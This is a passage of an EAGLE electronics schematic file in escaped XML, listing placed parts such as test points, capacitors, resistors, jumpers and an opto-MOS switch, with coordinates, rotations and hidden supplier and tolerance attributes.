size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP42\" gate=\"G$1\" x=\"-124.46\" y=\"218.44\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"POGOPIN\" x=\"-124.46\" y=\"218.44\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-123.19\" y=\"217.17\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"-125.73\" y=\"219.71\" size=\"1.778\" layer=\"97\" rot=\"R180\"/>\n</instance>\n<instance part=\"JP19\" gate=\"G$1\" x=\"-2.54\" y=\"-200.66\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"-2.54\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"VALUE\" x=\"-5.08\" y=\"-205.74\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"NAME\" x=\"-5.08\" y=\"-207.518\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-2.54\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-2.54\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-2.54\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-2.54\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-2.54\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C31\" gate=\"G$1\" x=\"50.8\" y=\"-200.66\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"50.8\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"45.72\" y=\"-197.485\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"45.466\" y=\"-202.819\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"XFARNELL\" x=\"50.8\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"50.8\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"50.8\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"50.8\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"50.8\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"50.8\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"C32\" gate=\"G$1\" x=\"55.88\" y=\"-182.88\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"54.356\" y=\"-188.595\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"53.594\" y=\"-186.309\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"XFARNELL\" x=\"55.88\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"55.88\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"55.88\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"55.88\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"55.88\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"55.88\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n</instance>\n<instance part=\"C33\" gate=\"G$1\" x=\"73.66\" y=\"-203.2\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"NAME\" x=\"79.375\" y=\"-204.724\" size=\"1.778\" layer=\"95\" rot=\"MR90\"/>\n<attribute name=\"VALUE\" x=\"77.089\" y=\"-205.486\" size=\"1.778\" layer=\"96\" rot=\"MR90\"/>\n<attribute name=\"XFARNELL\" x=\"73.66\" y=\"-203.2\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"73.66\" y=\"-203.2\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"73.66\" y=\"-203.2\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"73.66\" y=\"-203.2\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"73.66\" y=\"-203.2\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"73.66\" y=\"-203.2\" size=\"1.778\" layer=\"96\" rot=\"MR180\" display=\"off\"/>\n</instance>\n<instance part=\"R37\" gate=\"G$1\" x=\"68.58\" y=\"-200.66\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"68.58\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"61.976\" y=\"-200.4314\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"60.96\" y=\"-203.2\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"XFARNELL\" x=\"68.58\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"68.58\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"68.58\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"68.58\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"68.58\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"68.58\" y=\"-200.66\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n</instance>\n<instance part=\"R38\" gate=\"G$1\" x=\"86.36\" y=\"-198.12\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"86.36\" y=\"-198.12\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"86.1314\" y=\"-204.724\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"88.9\" y=\"-205.74\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"XFARNELL\" x=\"86.36\" y=\"-198.12\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"86.36\" y=\"-198.12\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"86.36\" y=\"-198.12\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"86.36\" y=\"-198.12\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"86.36\" y=\"-198.12\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"86.36\" y=\"-198.12\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R39\" gate=\"G$1\" x=\"93.98\" y=\"-170.18\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" x=\"93.98\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"100.584\" y=\"-170.4086\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"101.6\" y=\"-167.64\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"XFARNELL\" x=\"93.98\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"93.98\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"93.98\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"93.98\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"93.98\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"93.98\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n</instance>\n<instance part=\"R40\" gate=\"G$1\" x=\"83.82\" y=\"-175.26\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"PARTNO\" x=\"83.82\" y=\"-175.26\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"84.0486\" y=\"-168.656\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"81.28\" y=\"-167.64\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n<attribute name=\"XFARNELL\" x=\"83.82\" y=\"-175.26\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"83.82\" y=\"-175.26\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"83.82\" y=\"-175.26\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"83.82\" y=\"-175.26\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"83.82\" y=\"-175.26\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"83.82\" y=\"-175.26\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n</instance>\n<instance part=\"R41\" gate=\"G$1\" x=\"76.2\" y=\"-170.18\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"76.2\" y=\"-170.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"69.596\" y=\"-169.9514\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"68.58\" y=\"-172.72\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"XFARNELL\" x=\"76.2\" y=\"-170.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"76.2\" y=\"-170.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"76.2\" y=\"-170.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"76.2\" y=\"-170.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"76.2\" y=\"-170.18\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"76.2\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n</instance>\n<instance part=\"SUPPLY9\" gate=\"1\" x=\"55.88\" y=\"-208.28\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"53.975\" y=\"-211.455\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"5V2\" gate=\"1\" x=\"83.82\" y=\"-160.02\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"86.106\" y=\"-156.718\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n</instance>\n<instance part=\"TP43\" gate=\"G$1\" x=\"5.08\" y=\"-180.34\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"5.08\" y=\"-180.34\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"3.81\" y=\"-179.07\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"6.35\" y=\"-181.61\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP44\" gate=\"G$1\" x=\"66.04\" y=\"-182.88\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"POGOPIN\" x=\"66.04\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"64.77\" y=\"-184.15\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"67.31\" y=\"-181.61\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n</instance>\n<instance part=\"TP45\" gate=\"G$1\" x=\"71.12\" y=\"-187.96\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"POGOPIN\" x=\"71.12\" y=\"-187.96\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"69.85\" y=\"-189.23\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"72.39\" y=\"-186.69\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n</instance>\n<instance part=\"TP46\" gate=\"G$1\" x=\"91.44\" y=\"-193.04\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"POGOPIN\" x=\"91.44\" y=\"-193.04\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"90.17\" y=\"-194.31\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"92.71\" y=\"-191.77\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n</instance>\n<instance part=\"GND1\" gate=\"1\" x=\"185.42\" y=\"58.42\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"VALUE\" x=\"187.96\" y=\"60.96\" size=\"1.778\" layer=\"96\" rot=\"MR270\"/>\n</instance>\n<instance part=\"U$2\" gate=\"G$1\" x=\"246.38\" y=\"218.44\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"243.84\" y=\"195.58\" size=\"1.27\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"243.84\" y=\"243.84\" size=\"1.27\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"FARNELL\" x=\"246.38\" y=\"218.44\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"X2\" gate=\"G$1\" x=\"-83.82\" y=\"15.24\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"-81.026\" y=\"10.922\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"-78.486\" y=\"10.922\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"XFARNELL\" x=\"-83.82\" y=\"15.24\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"-83.82\" y=\"15.24\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n</instance>\n<instance part=\"GND2\" gate=\"1\" x=\"-99.06\" y=\"5.08\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"-96.52\" y=\"2.54\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"C34\" gate=\"G$1\" x=\"-88.9\" y=\"10.16\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-92.202\" y=\"7.239\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"-92.71\" y=\"4.953\" size=\"1.778\" layer=\"96\" rot=\"MR180\"/>\n<attribute name=\"XFARNELL\" x=\"-88.9\" y=\"10.16\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-88.9\" y=\"10.16\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-88.9\" y=\"10.16\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-88.9\" y=\"10.16\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-88.9\" y=\"10.16\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"-88.9\" y=\"10.16\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n</instance>\n<instance part=\"C35\" gate=\"G$1\" x=\"-88.9\" y=\"20.32\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-90.805\" y=\"19.812\" size=\"1.778\" layer=\"95\" rot=\"MR90\"/>\n<attribute name=\"VALUE\" x=\"-85.725\" y=\"18.542\" size=\"1.778\" layer=\"96\" rot=\"MR90\"/>\n<attribute name=\"XFARNELL\" x=\"-88.9\" y=\"20.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-88.9\" y=\"20.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-88.9\" y=\"20.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-88.9\" y=\"20.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-88.9\" y=\"20.32\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"-88.9\" y=\"20.32\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n</instance>\n<instance part=\"OPTO_MOS3\" gate=\"G$1\" x=\"38.1\" y=\"-187.96\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"45.466\" y=\"-184.15\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"41.402\" y=\"-193.548\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"XFARNELL\" x=\"38.1\" y=\"-187.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"38.1\" y=\"-187.96\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R42\" gate=\"G$1\" x=\"43.18\" y=\"-170.18\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"44.6786\" y=\"-166.37\" size=\"1.778\" layer=\"95\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"39.878\" y=\"-166.37\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n<attribute name=\"XFARNELL\" x=\"43.18\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"43.18\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"43.18\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"43.18\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"43.18\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"43.18\" y=\"-170.18\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n</instance>\n<instance part=\"C36\" gate=\"G$1\" x=\"33.02\" y=\"-200.66\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"33.02\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"27.94\" y=\"-197.485\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"27.686\" y=\"-202.819\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"XFARNELL\" x=\"33.02\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"33.02\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"33.02\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"33.02\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"33.02\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"33.02\" y=\"-200.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"L1\" gate=\"G$1\" x=\"17.78\" y=\"-182.88\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"12.7\" y=\"-180.34\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"22.86\" y=\"-180.34\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"17.78\" y=\"-182.88\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n</instance>\n<instance part=\"JP2\" gate=\"G$1\" x=\"15.24\" y=\"-165.1\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" x=\"15.24\" y=\"-165.1\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"VALUE\" x=\"10.16\" y=\"-162.56\" size=\"1.778\" layer=\"96\" rot=\"R270\"/>\n<attribute name=\"NAME\" x=\"8.382\" y=\"-162.56\" size=\"1.778\" layer=\"95\" rot=\"MR90\"/>\n<attribute name=\"FARNELL\" x=\"15.24\" y=\"-165.1\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"15.24\" y=\"-165.1\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"15.24\" y=\"-165.1\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"15.24\" y=\"-165.1\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"15.24\" y=\"-165.1\" size=\"1.778\" layer=\"96\" rot=\"R270\" display=\"off\"/>\n</instance>\n<instance part=\"JP12\" gate=\"G$1\" x=\"116.84\" y=\"-53.34\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"121.793\" y=\"-50.165\" size=\"2.1844\" layer=\"95\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"119.8372\" y=\"-56.9722\" size=\"1.016\" layer=\"96\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"116.84\" y=\"-53.34\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"116.84\" y=\"-53.34\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"116.84\" y=\"-53.34\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"116.84\" y=\"-53.34\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"116.84\" y=\"-53.34\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n</instance>\n<instance part=\"TP11\" gate=\"G$1\" x=\"43.18\" y=\"-157.48\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"41.91\" y=\"-156.21\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"44.45\" y=\"-158.75\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"R43\" gate=\"G$1\" x=\"368.3\" y=\"-73.66\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"368.3\" y=\"-73.66\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"367.3094\" y=\"-71.882\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"369.824\" y=\"-72.136\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"XFARNELL\" x=\"368.3\" y=\"-73.66\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"368.3\" y=\"-73.66\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"368.3\" y=\"-73.66\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"368.3\" y=\"-73.66\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"368.3\" y=\"-73.66\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"368.3\" y=\"-73.66\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R44\" gate=\"G$1\" x=\"368.3\" y=\"-83.82\" smashed=\"yes\">\n<attribute name=\"PARTNO\" x=\"368.3\" y=\"-83.82\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"367.3094\" y=\"-82.042\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"369.824\" y=\"-82.296\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"XFARNELL\" x=\"368.3\" y=\"-83.82\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"368.3\" y=\"-83.82\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"368.3\" y=\"-83.82\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"368.3\" y=\"-83.82\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"368.3\" y=\"-83.82\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"368.3\" y=\"-83.82\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"TP1\" gate=\"G$1\" x=\"317.5\" y=\"-147.32\" smashed=\"yes\" rot=\"MR180\">\n<attribute name=\"POGOPIN\" x=\"317.5\" y=\"-147.32\" size=\"1.778\" layer=\"96\" rot=\"MR180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"316.23\" y=\"-148.59\" size=\"1.778\" layer=\"95\" rot=\"MR180\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"318.77\" y=\"-146.05\" size=\"1.778\" layer=\"97\" rot=\"MR180\"/>\n</instance>\n<instance part=\"TP18\" gate=\"G$1\" x=\"101.6\" y=\"231.14\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"POGOPIN\" x=\"101.6\" y=\"231.14\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"102.87\" y=\"232.41\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"100.33\" y=\"229.87\" size=\"1.778\" layer=\"97\" rot=\"MR0\"/>\n</instance>\n<instance part=\"TP47\" gate=\"G$1\" x=\"104.14\" y=\"266.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"POGOPIN\" x=\"104.14\" y=\"266.7\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"105.41\" y=\"267.97\" 